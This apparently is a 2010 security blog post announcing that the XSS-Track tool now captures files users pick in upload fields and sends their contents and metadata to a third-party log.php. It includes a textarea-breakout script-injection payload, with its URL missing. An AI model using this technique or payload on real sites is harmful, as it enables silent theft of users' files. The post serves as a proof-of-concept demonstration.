Thursday, December 2, 2010

XSS-Track now steals your uploaded files with HTML5 power!

HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.

Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.

As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.


This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:
  • Chrome,
  • FF 3.6 (meta-data only)
  • FF 4.0
  • ... and many more in the future as HTML5 is coming :)
Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.


Go on, try it now!

Vulnerable application:

Payload (paste into textarea):
</textarea><script src="//">

Monitoring (you will only see your own IP actions):

Clearing logs:

Source code:

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